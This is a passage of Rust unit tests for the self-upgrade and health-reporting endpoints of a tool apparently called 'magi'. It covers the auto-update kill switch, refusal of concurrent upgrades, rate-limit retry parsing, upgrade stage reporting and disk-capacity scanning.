21993        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21994
21995        assert!(
21996            !update_recheck_due(&checker, Some(&progress)),
21997            "a recheck must not run while an upgrade this deck started is \
21998             still moving"
21999        );
22000    }
22001
22002    #[tokio::test]
22003    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22004        // The same env var the background check honours (`disabled_by_env`)
22005        // must also stop a button press before it ever calls
22006        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22007        // means "never contact GitHub from this process", and a tap on the
22008        // upgrade button must not override that any more than a broken
22009        // `magi.toml` may. Left unset, this fixture's default config would
22010        // otherwise reach a real, unauthenticated GitHub call.
22011        //
22012        // SAFETY: single-threaded as far as this variable goes - nothing else
22013        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22014        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22015        unsafe {
22016            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22017        }
22018        let fx = Fixture::start().await;
22019        let res = fx.post("/api/upgrade", None).await;
22020        unsafe {
22021            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22022        }
22023        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22024        let body = res.json();
22025        assert!(body["to"].is_null(), "there was no release to move to");
22026        assert!(body["parked"].is_null(), "and nothing was parked");
22027        assert!(
22028            body["detail"]
22029                .as_str()
22030                .unwrap()
22031                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22032            "{body:?}"
22033        );
22034    }
22035
22036    #[test]
22037    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22038        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22039        let mut cfg = Update::default();
22040        assert!(matches!(
22041            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22042            Skip(_)
22043        ));
22044        cfg.auto_restart = true;
22045        assert_eq!(
22046            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22047            Trigger
22048        );
22049        assert_eq!(
22050            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22051            Wait
22052        );
22053        for (disabled, moving, failed) in [
22054            (true, false, None),
22055            (false, true, None),
22056            (false, false, Some("v2")),
22057        ] {
22058            assert!(matches!(
22059                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22060                Skip(_)
22061            ));
22062        }
22063        assert_eq!(
22064            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22065            Trigger
22066        );
22067        cfg.mode = UpdateMode::Off;
22068        assert!(matches!(
22069            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22070            Skip(_)
22071        ));
22072    }
22073
22074    #[test]
22075    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22076        let home = TempDir::new().unwrap();
22077        let ui = idle_ui(&home);
22078        assert!(!ui.auto_upgrade_busy());
22079        let directory = home.path().join("workers/jobs/abcdef");
22080        std::fs::create_dir_all(&directory).unwrap();
22081        let mut job = crate::worker::Job {
22082            id: "abcdef".into(),
22083            sequence: 1,
22084            kind: "scheduler".into(),
22085            key: "scheduler".into(),
22086            payload: serde_json::json!({}),
22087            generation: "test".into(),
22088            version: None,
22089            status: crate::worker::Status::Running,
22090            result: None,
22091            pid: None,
22092            created_at: 0,
22093            finished_at: None,
22094        };
22095        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22096        let write = |job: &crate::worker::Job| {
22097            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22098        };
22099        write(&job);
22100        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22101        for kind in ["task", "chat"] {
22102            job.kind = kind.into();
22103            write(&job);
22104            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22105        }
22106        drop(lease);
22107        // A lib test thread that spawns with `pre_exec` forks this process, and
22108        // the child shares the lock's open file description until its exec
22109        // closes it (O_CLOEXEC). So the lock can outlive `drop` for a moment;
22110        // wait for it to be really free (bounded) before judging the state,
22111        // instead of racing whatever other test happens to be spawning.
22112        let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22113        loop {
22114            let probe = std::fs::OpenOptions::new()
22115                .read(true)
22116                .write(true)
22117                .open(directory.join("live.lock"))
22118                .unwrap();
22119            if crate::pr_head::try_lock_file(&probe).is_ok() {
22120                break;
22121            }
22122            assert!(
22123                std::time::Instant::now() < free,
22124                "the worker lease was never released"
22125            );
22126            std::thread::sleep(std::time::Duration::from_millis(5));
22127        }
22128        assert!(
22129            !ui.auto_upgrade_busy(),
22130            "completed execution permits updates"
22131        );
22132        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22133        assert!(
22134            ui.auto_upgrade_busy(),
22135            "unreadable worker state defers updates"
22136        );
22137    }
22138
22139    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22140        Box::pin(async { anyhow::bail!("test installer failed") })
22141    }
22142
22143    #[tokio::test]
22144    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22145        let home = TempDir::new().unwrap();
22146        std::fs::write(
22147            home.path().join("magi.toml"),
22148            "[update]\nauto_restart = true\n",
22149        )
22150        .unwrap();
22151        let mut ui = idle_ui(&home);
22152        ui.repo = home.path().to_path_buf();
22153        // Every successful trigger in this test uses this seam, never the installer.
22154        ui.upgrade_runner = fail_test_upgrade;
22155        let ui = Arc::new(ui);
22156        let latest = || {
22157            Some(kaishin::LatestRelease {
22158                tag_name: "v999.0.0".into(),
22159                html_url: String::new(),
22160            })
22161        };
22162        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22163        assert_eq!(
22164            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22165                .await
22166                .status(),
22167            StatusCode::NO_CONTENT
22168        );
22169        assert!(updater::read_progress(home.path()).is_none());
22170        ui.talk_turns.lock().unwrap().live.clear();
22171        let gate = ui.upgrade_gate.lock().await;
22172        assert_eq!(
22173            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22174                .await
22175                .status(),
22176            StatusCode::CONFLICT
22177        );
22178        drop(gate);
22179        assert_eq!(
22180            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22181                .await
22182                .status(),
22183            StatusCode::ACCEPTED
22184        );
22185        let progress = updater::read_progress(home.path()).unwrap();
22186        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22187        assert_eq!(progress.stage, updater::Stage::Downloading);
22188        assert!(progress.parked_run.is_none());
22189        assert!(ui.start_detached_loop().await.is_err());
22190        assert!(ui.start_loop(None).is_err());
22191        assert!(ui.begin_resume("late").is_err());
22192        tokio::time::timeout(Duration::from_secs(2), async {
22193            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22194                tokio::task::yield_now().await;
22195            }
22196        })
22197        .await
22198        .unwrap();
22199        let progress = updater::read_progress(home.path()).unwrap();
22200        assert_eq!(progress.stage, updater::Stage::Failed);
22201        assert_eq!(
22202            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22203                .await
22204                .status(),
22205            StatusCode::NO_CONTENT
22206        );
22207        // The manual shared path records the same progress and runs the same seam.
22208        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22209        assert_eq!(
22210            finish_upgrade_request(&ui, result).status(),
22211            StatusCode::ACCEPTED
22212        );
22213        assert_eq!(
22214            updater::read_progress(home.path()).unwrap().trigger,
22215            updater::UpgradeTrigger::Manual
22216        );
22217        tokio::time::timeout(Duration::from_secs(2), async {
22218            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22219                tokio::task::yield_now().await;
22220            }
22221        })
22222        .await
22223        .unwrap();
22224    }
22225
22226    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22227        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22228        p.stage = stage;
22229        p
22230    }
22231
22232    #[test]
22233    fn busy_stages_match_the_ui_set() {
22234        use crate::updater::Stage;
22235        assert!(APP_JS.contains(
22236            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22237        ));
22238        for s in [
22239            Stage::Downloading,
22240            Stage::Replaced,
22241            Stage::Parking,
22242            Stage::Restarting,
22243        ] {
22244            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22245        }
22246        for s in [Stage::Done, Stage::Failed] {
22247            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22248        }
22249        assert!(upgrade_in_motion(None).is_none());
22250    }
22251
22252    #[tokio::test]
22253    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22254        use crate::updater::Stage;
22255        for stage in [
22256            Stage::Downloading,
22257            Stage::Replaced,
22258            Stage::Parking,
22259            Stage::Restarting,
22260        ] {
22261            let fx = Fixture::start().await;
22262            let seeded = seeded_progress(stage);
22263            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22264            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22265                .expect("read");
22266
22267            let res = fx.post("/api/upgrade", None).await;
22268            assert_eq!(res.status, 409, "{stage:?}");
22269            let err = res.json()["error"].as_str().unwrap().to_owned();
22270            assert!(err.contains("already in progress"), "{err}");
22271            assert!(err.contains(stage.as_str()), "{err}");
22272
22273            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22274                .expect("read");
22275            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22276            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22277                .unwrap_or_default();
22278            assert!(!log.contains("signalling HANDOVER"), "{log}");
22279        }
22280    }
22281
22282    #[test]
22283    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22284        assert_eq!(
22285            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22286            Some(3723)
22287        );
22288        assert_eq!(
22289            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22290            Some(60)
22291        );
22292        assert_eq!(
22293            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22294            Some(0)
22295        );
22296        for message in [
22297            "permission denied",
22298            "GitHub API rate limit exceeded",
22299            "GitHub rate limit (resets in unknown)",
22300            "GitHub rate limit (resets in 18446744073709551615d)",
22301        ] {
22302            assert_eq!(upgrade_retry_after(message), None, "{message}");
22303        }
22304    }
22305
22306    #[tokio::test]
22307    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22308        let home = TempDir::new().unwrap();
22309        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22310        ui.start_loop(None).unwrap();
22311        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22312        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22313        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22314        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22315        let response = finish_upgrade_request(&ui, result);
22316        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22317        assert_eq!(response.headers()["retry-after"], "120");
22318        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22319            .await
22320            .unwrap();
22321        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22322        assert!(body["error"].as_str().unwrap().contains(reason));
22323        assert_eq!(body["retry_after_secs"], 120);
22324        assert!(body["retry_at"].as_u64().is_some());
22325        for _ in 0..2 {
22326            let view = health(State(ui.clone())).await.unwrap().0;
22327            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22328            assert_eq!(failure, body);
22329        }
22330        assert_eq!(
22331            std::fs::read(updater::progress_path(home.path())).unwrap(),
22332            before
22333        );
22334        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22335        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22336        // A conflicting request must not erase the actionable earlier failure.
22337        let gate = ui.upgrade_gate.lock().await;
22338        assert_eq!(
22339            upgrade_post(State(ui.clone())).await.status(),
22340            StatusCode::CONFLICT
22341        );
22342        drop(gate);
22343        assert!(
22344            health(State(ui.clone()))
22345                .await
22346                .unwrap()
22347                .0
22348                .upgrade_request_error
22349                .is_some()
22350        );
22351        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22352        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22353        assert!(
22354            health(State(ui.clone()))
22355                .await
22356                .unwrap()
22357                .0
22358                .upgrade_request_error
22359                .is_none()
22360        );
22361        let live = ui.lock_loop().live.take().unwrap();
22362        live.stop.stop();
22363        live.handle.await.unwrap();
22364    }
22365
22366    #[tokio::test]
22367    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22368        use crate::updater::Stage;
22369        let repo = TempDir::new().expect("repo dir");
22370        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22371            .expect("write magi.toml");
22372        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22373        for stage in [Stage::Done, Stage::Failed] {
22374            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22375            let res = fx.post("/api/upgrade", None).await;
22376            assert_eq!(res.status, 200, "{stage:?}");
22377        }
22378        // No record at all, and the gate was released by the earlier calls.
22379        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22380        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22381    }
22382
22383    #[tokio::test]
22384    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22385        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22386        // and the route answers from its own logic.
22387        //
22388        // This test used to lean on the fixture's placeholder repo failing
22389        // config discovery, which left `mode = "notify"` - and a live,
22390        // unauthenticated call to the GitHub releases API inside a unit test.
22391        // GitHub allows 60 of those an hour per address, so the suite went red
22392        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22393        // long as somebody kept re-running it: every attempt spent another
22394        // request. Six reruns across four pull requests were charged to that
22395        // before it was read as a rate limit rather than a flake.
22396        //
22397        // What the assertion is about is the "already current" branch, which
22398        // is reached by there being no newer release *or* nowhere to look. The
22399        // second one needs no network and cannot be rate limited.
22400        let repo = TempDir::new().expect("repo dir");
22401        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22402            .expect("write magi.toml");
22403        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22404
22405        // It must answer 200 and leave the process alone: restarting for an
22406        // upgrade that did not happen parks the run in flight and drops every
22407        // connection to pay for nothing. A probe against a deck already on the
22408        // newest build did exactly that, which is how this case got its own
22409        // branch.
22410        let res = fx.post("/api/upgrade", None).await;
22411        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22412        let body = res.json();
22413        assert!(body["to"].is_null(), "there was no release to move to");
22414        assert!(body["parked"].is_null(), "and nothing was parked");
22415        assert!(
22416            body["detail"]
22417                .as_str()
22418                .unwrap()
22419                .contains("nothing restarted"),
22420            "{body:?}"
22421        );
22422    }
22423
22424    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22425        tokio::time::timeout(Duration::from_secs(5), async {
22426            while state.lock().unwrap().in_flight {
22427                tokio::task::yield_now().await;
22428            }
22429        })
22430        .await
22431        .expect("capacity scan finished");
22432    }
22433
22434    fn disk_test_scope(home: &FsPath) -> DiskScope {
22435        DiskScope {
22436            runs: home.join("runs"),
22437            worktrees: home.join("worktrees"),
22438            cache: Some(home.join("cache")),
22439        }
22440    }
22441
22442    fn known_disk_capacity() -> DiskCapacity {
22443        DiskCapacity {
22444            free_bytes: Some(100),
22445            runs_bytes: Some(200),
22446            worktrees_bytes: Some(300),
22447            cache_bytes: Some(400),
22448        }
22449    }
22450
22451    #[tokio::test]
22452    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22453        let home = TempDir::new().unwrap();
22454        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22455        let mut ui = delta_test_ui(home.path());
22456        let state = Arc::get_mut(&mut ui).unwrap();
22457        state.repo = home.path().to_owned();
22458        state.worktrees_root = home.path().join("worktrees");
22459        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22460        ui.monitor
22461            .worker_started
22462            .store(true, std::sync::atomic::Ordering::SeqCst);
22463        let cfg = deputy_config(&ui.repo);
22464        let scope = DiskScope::of(&ui, cfg.as_ref());
22465        let (started, reached) = tokio::sync::oneshot::channel();
22466        let (release, blocked) = std::sync::mpsc::channel();
22467        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22468            started.send(()).unwrap();
22469            blocked.recv().unwrap();
22470            known_disk_capacity()
22471        });
22472        assert!(cold.runs_bytes.is_none());
22473        tokio::time::timeout(Duration::from_secs(5), reached)
22474            .await
22475            .unwrap()
22476            .unwrap();
22477
22478        let requests: Vec<_> = (0..4)
22479            .map(|_| {
22480                let ui = ui.clone();
22481                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22482            })
22483            .collect();
22484        tokio::time::timeout(Duration::from_secs(5), async {
22485            for request in requests {
22486                let view = request.await.unwrap();
22487                let disk = serde_json::to_value(view.disk).unwrap();
22488                assert!(disk["runs_bytes"].is_null());
22489                assert!(disk["worktrees_bytes"].is_null());
22490                assert!(disk.get("free_bytes").is_none());
22491            }
22492        })
22493        .await
22494        .expect("health must return while the measurement is causally blocked");
22495        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22496        // No competing worker can have published while the first holds flight.
22497        assert!(
22498            ui.monitor
22499                .disk
22500                .lock()
22501                .unwrap()
22502                .capacity
22503                .runs_bytes
22504                .is_none()
22505        );
22506        release.send(()).unwrap();
22507        wait_for_disk_scan(&ui.monitor.disk).await;
22508        assert_eq!(
22509            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22510            Some(200)
22511        );
22512    }
22513
22514    #[tokio::test]
22515    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22516        let home = TempDir::new().unwrap();
22517        let scope = disk_test_scope(home.path());
22518        let state = Arc::new(Mutex::new(DiskObservation {
22519            scope: Some(scope.clone()),
22520            capacity: known_disk_capacity(),
22521            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22522            ..Default::default()
22523        }));
22524        let (started, reached) = tokio::sync::oneshot::channel();
22525        let (release, blocked) = std::sync::mpsc::channel();
22526        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22527            started.send(()).unwrap();
22528            blocked.recv().unwrap();
22529            DiskCapacity {
22530                runs_bytes: Some(250),
22531                ..Default::default()
22532            }
22533        });
22534        assert_eq!(before.cache_bytes, Some(400));
22535        tokio::time::timeout(Duration::from_secs(5), reached)
22536            .await
22537            .unwrap()
22538            .unwrap();
22539        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22540        for _ in 0..4 {
22541            let scans = duplicate_scans.clone();
22542            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22543                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22544                DiskCapacity::default()
22545            });
22546            assert_eq!(during.runs_bytes, Some(200));
22547            assert_eq!(during.cache_bytes, Some(400));
22548        }
22549        release.send(()).unwrap();
22550        wait_for_disk_scan(&state).await;
22551        let scans = duplicate_scans.clone();
22552        let after = DiskObservation::observe(&state, scope, move |_| {
22553            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22554            DiskCapacity::default()
22555        });
22556        wait_for_disk_scan(&state).await;
22557        assert_eq!(after.runs_bytes, Some(250));
22558        assert_eq!(after.free_bytes, Some(100));
22559        assert_eq!(after.cache_bytes, Some(400));
22560        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22561        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22562    }
22563
22564    #[tokio::test]
22565    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22566        let home = TempDir::new().unwrap();
22567        let old_scope = disk_test_scope(home.path());
22568        let mut new_scope = old_scope.clone();
22569        new_scope.cache = Some(home.path().join("replacement-cache"));
22570        let state = Arc::new(Mutex::new(DiskObservation {
22571            scope: Some(old_scope.clone()),
22572            capacity: known_disk_capacity(),
22573            ..Default::default()
22574        }));
22575        let (started, reached) = tokio::sync::oneshot::channel();
22576        let (release, blocked) = std::sync::mpsc::channel();
22577        DiskObservation::observe(&state, old_scope, move |_| {
22578            started.send(()).unwrap();
22579            blocked.recv().unwrap();
22580            known_disk_capacity()
22581        });
22582        tokio::time::timeout(Duration::from_secs(5), reached)
22583            .await
22584            .unwrap()
22585            .unwrap();
22586        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22587        let scans = duplicate_scans.clone();
22588        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22589            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22590            DiskCapacity::default()
22591        });
22592        assert!(changed.cache_bytes.is_none());
22593        assert!(changed.runs_bytes.is_none());
22594        release.send(()).unwrap();
22595        wait_for_disk_scan(&state).await;
22596        {
22597            let observation = state.lock().unwrap();
22598            assert!(observation.capacity.cache_bytes.is_none());
22599            assert!(observation.finished.is_none());
22600        }
22601        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22602            assert_eq!(scope, &new_scope);
22603            DiskCapacity {
22604                cache_bytes: Some(999),
22605                ..Default::default()
22606            }
22607        });
22608        wait_for_disk_scan(&state).await;
22609        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22610        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22611    }
22612
22613    #[tokio::test]
22614    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22615        let home = TempDir::new().unwrap();
22616        let scope = disk_test_scope(home.path());
22617        let state = Arc::new(Mutex::new(DiskObservation {
22618            scope: Some(scope.clone()),
22619            capacity: known_disk_capacity(),
22620            ..Default::default()
22621        }));
22622        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22623        wait_for_disk_scan(&state).await;
22624        {
22625            let mut observation = state.lock().unwrap();
22626            assert_eq!(observation.capacity.cache_bytes, Some(400));
22627            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22628            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22629        }
22630        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22631            cache_bytes: Some(450),
22632            ..Default::default()
22633        });
22634        wait_for_disk_scan(&state).await;
22635        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22636    }
22637
22638    #[test]
22639    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22640        let home = TempDir::new().unwrap();
22641        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22642        assert_eq!(disk_capacity_size(home.path()), Some(0));
22643        std::fs::create_dir(home.path().join("nested")).unwrap();
22644        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22645        assert_eq!(disk_capacity_size(home.path()), Some(5));
22646        #[cfg(unix)]
22647        {
22648            // Unix distinguishes an invalid descendant lookup from absence.
22649            assert_eq!(
22650                disk_capacity_size(&home.path().join("nested/data/child")),
22651                None
22652            );
22653        }
22654        #[cfg(unix)]
22655        {
22656            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22657            assert_eq!(disk_capacity_size(home.path()), Some(5));
22658        }
22659    }
22660
22661    #[tokio::test]
22662    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22663        // `mode = "off"` for the same reason as the test above: a default
22664        // fixture repo falls back to `mode = "notify"`, which would make this
22665        // route's new `update` field a live, unauthenticated GitHub call on
22666        // every assertion in this suite that happens to hit `/api/health`.
22667        let repo = TempDir::new().expect("repo dir");
22668        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22669            .expect("write magi.toml");
22670        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22671
22672        let health = fx.get("/api/health").await.json();
22673        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22674        assert_eq!(
22675            health["update"]["available"], false,
22676            "checking is off, which reads as \"unknown\", not \"none\""
22677        );
22678        assert!(health["update"]["to"].is_null());
22679        assert!(
22680            health["upgrade"].is_null(),
22681            "nothing has ever asked this deck to upgrade"
22682        );
22683    }
22684
22685    #[tokio::test]
22686    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22687        let fx = Fixture::start().await;
22688        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22689
22690        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22691        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22692        progress.advance(crate::updater::Stage::Parking);
22693        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22694
22695        let health = fx.get("/api/health").await.json();
22696        assert_eq!(health["upgrade"]["stage"], "parking");
22697        assert_eq!(health["upgrade"]["from"], "0.5.1");
22698        assert_eq!(health["upgrade"]["to"], "0.5.2");
22699        let waiting_on = health["upgrade"]["waiting_on"]
22700            .as_str()
22701            .expect("waiting_on is set while parking a known run");
22702        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22703        assert!(waiting_on.contains("implementing"), "{waiting_on}");
22704    }
22705
22706    #[tokio::test]
22707    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22708        let fx = Fixture::start().await;
22709        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22710        progress.advance(crate::updater::Stage::Done);
22711        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22712
22713        let health = fx.get("/api/health").await.json();
22714        assert_eq!(health["upgrade"]["stage"], "done");
22715        assert!(
22716            health["upgrade"]["waiting_on"].is_null(),
22717            "nothing to wait on once it is done"
22718        );
22719    }
22720
22721    /// The handover signal is seen however the race falls, and wakes its one
22722    /// waiter once per signal - nothing here can spin.
22723    #[tokio::test]
22724    async fn the_handover_signal_wakes_one_waiter_once() {
22725        let signal = Notify::new();
22726        // Signalled before anyone waits: the stored permit is not lost.
22727        signal.notify_one();
22728        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22729            .await
22730            .expect("an early signal is still seen");
22731        // One signal, one wake-up: a second wait does not resolve by itself.
22732        assert!(
22733            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22734                .await
22735                .is_err(),
22736            "a consumed signal must not wake a second time"
22737        );
22738        // Signalled while waiting.
22739        let signal = std::sync::Arc::new(signal);
22740        let waiter = tokio::spawn({
22741            let signal = std::sync::Arc::clone(&signal);
22742            async move { wait_for_handover(&signal).await }
22743        });
22744        tokio::time::sleep(Duration::from_millis(20)).await;
22745        assert!(!waiter.is_finished(), "nothing was signalled yet");
22746        signal.notify_one();
22747        tokio::time::timeout(Duration::from_secs(5), waiter)
22748            .await
22749            .expect("a late signal wakes the waiter")
22750            .expect("join");
22751    }
22752
22753    #[tokio::test]
22754    async fn health_says_how_long_a_handover_has_been_stuck() {
22755        let fx = Fixture::start().await;
22756        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22757        progress.advance(crate::updater::Stage::Replaced);
22758        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22759        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22760
22761        let health = fx.get("/api/health").await.json();
22762        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22763        assert!(stuck >= 600, "{stuck}");
22764        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22765        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22766    }
22767
22768    #[tokio::test]
22769    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22770        let home = tempfile::tempdir().expect("temp home");
22771        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22772        progress.advance(crate::updater::Stage::Parking);
22773        crate::updater::write_progress(home.path(), &progress).expect("seed");
22774        // What the second upgrade_and_restart and its handler do.
22775        let mut again = progress.clone();
22776        again.advance(crate::updater::Stage::Replaced);
22777        crate::updater::write_progress(home.path(), &again).expect("replaced");
22778        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22779        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22780        let after = crate::updater::read_progress(home.path()).expect("record");
22781        assert_eq!(after.stage, crate::updater::Stage::Parking);
22782    }
22783
22784    #[tokio::test]
22785    async fn health_does_not_call_a_live_parking_wait_stuck() {
22786        let fx = Fixture::start().await;
22787        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22788        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22789        progress.advance(crate::updater::Stage::Parking);
22790        let hours = Duration::from_secs(3 * 3600);
22791        progress.started_at = Timestamp::now() - hours;
22792        progress.updated_at = Timestamp::now() - hours;
22793        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22794        let _lease = crate::updater::LeaseGuard::enter(
22795            fx.home.path(),
22796            Some("20260905-000000-cd51".to_owned()),
22797        );
22798
22799        let health = fx.get("/api/health").await.json();
22800        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22801        assert!(health["upgrade"]["stuck_kind"].is_null());
22802        assert_eq!(health["upgrade"]["handover_alive"], true);
22803        let waiting_on = health["upgrade"]["waiting_on"]
22804            .as_str()
22805            .expect("waiting_on");
22806        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22807    }
22808
